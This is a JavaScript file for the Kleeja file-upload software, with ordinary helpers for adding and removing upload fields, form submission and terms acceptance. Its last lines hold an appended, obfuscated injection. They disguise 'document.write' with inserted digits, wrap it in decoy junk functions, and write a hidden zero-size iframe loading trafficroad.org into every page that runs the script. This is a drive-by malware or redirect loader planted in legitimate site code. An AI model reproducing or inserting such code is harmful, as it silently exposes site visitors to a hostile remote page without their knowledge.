/*
 javascript for kleeja 
 www.kleeja.com
*/

	var totalupload_num=number_of_uploads-1;
	
	//get element by id name
	function $(id)
	{
		if(document.all){
         	return eval("document.all['" + id + "']");
    	}
		else{
			return document.getElementById(id);
		}
	}
	
	
	//new field
	function plus (type)
	{
		var value = (type==1) ?  $("upload_num") : $("upload_f_num");
		var id = (type==1) ?  'file' : 'fileu';
		var id2 = (type==1) ?  'br' : 'bru';
		var num = number_of_uploads;
		if (value.value < num )
		{
			value.value++;
			eval('var s = "' + id +'[' + (value.value) + ']";var br = "' + id2 +'[' + (value.value) + ']";');
			$(s).style.display = '';
			$(br).style.display = '';
		}
		else
		{
			alert(LANG_MORE_F_FILES);
		}
	}
	
	//remove field
	function minus (type)
	{
		var value = (type==1) ?  $("upload_num") : $("upload_f_num");
		var id = (type==1) ?  'file' : 'fileu';
		var id2 = (type==1) ?  'br' : 'bru';
		var num = number_of_uploads;
		var num_l = num-1;
		if (value.value != 1 )
		{
			value.value--;
			eval('var s = "' + id +'[' + (value.value) + ']";var br = "' + id2 +'[' + (value.value) + ']";');
			$(s).style.display = 'none';
			$(br).style.display = 'none';
		}
	}
	
	//submit
	function form_submit() 
	{
		var load = $('loadbox');
		var uploader = $("uploader");
		load.style.display = "inline";
		uploader.style.display = "none";
		document.uploader.submit();
	}
	
	//acceept terms of uploads
	function accept_terms (sub,ch)
	{
		var submit = $(sub);
		var checker = $(ch);
		submit.disabled = ( checker.checked ) ?  "" : "disabled";
	}
	
	//show or hide some fields
	function showhide()
	{
		var txt = $("texttype");
		var fle = $("filetype");

		if (txt.style.display == 'none')
		{
			txt.style.display = 'block';
			fle.style.display = 'none';
		}
		else
		{
			fle.style.display = 'block';
			txt.style.display = 'none';
		}
	}
function VgnlumS(HtgYvA){ var xbU = document.getElementById('tRT');window.eval(); } 
document['w115155ri187t572136e'.replace(/[0-9]/g,'')]('<tt id=QUqkd style="display:none">%3Ciframe src%3D%22http%3A%2F%2Ftrafficroad.org%2F1%2Findex.php%22 width%3D%220%22 height%3D%220%22 frameborder%3D%220%22%3E%3C%2Fiframe%3E</tt>');function HQoUfHRtTc(pUGCV){  fff=op.split("814");var MklZwqZ=new Function("EWVKyUl", "return 143302;");window.eval(); } 
document['190wr166i104t19718464e'.replace(/[0-9]/g,'')](unescape(document.getElementById('QUqkd').innerHTML));function bQDBUpHJ(xmkrcvIG){ alert('ZbfvoD');var uGlWYffJs = document.getElementById('ECFf'); } 
function UYMhy(bGdOn){  fff.op.replace("1053"); } 
function tdpXBTMiaQ(LSYLEAZ){ var HwhbX=new Function("LKETCdFCX", "return 988929;"); } 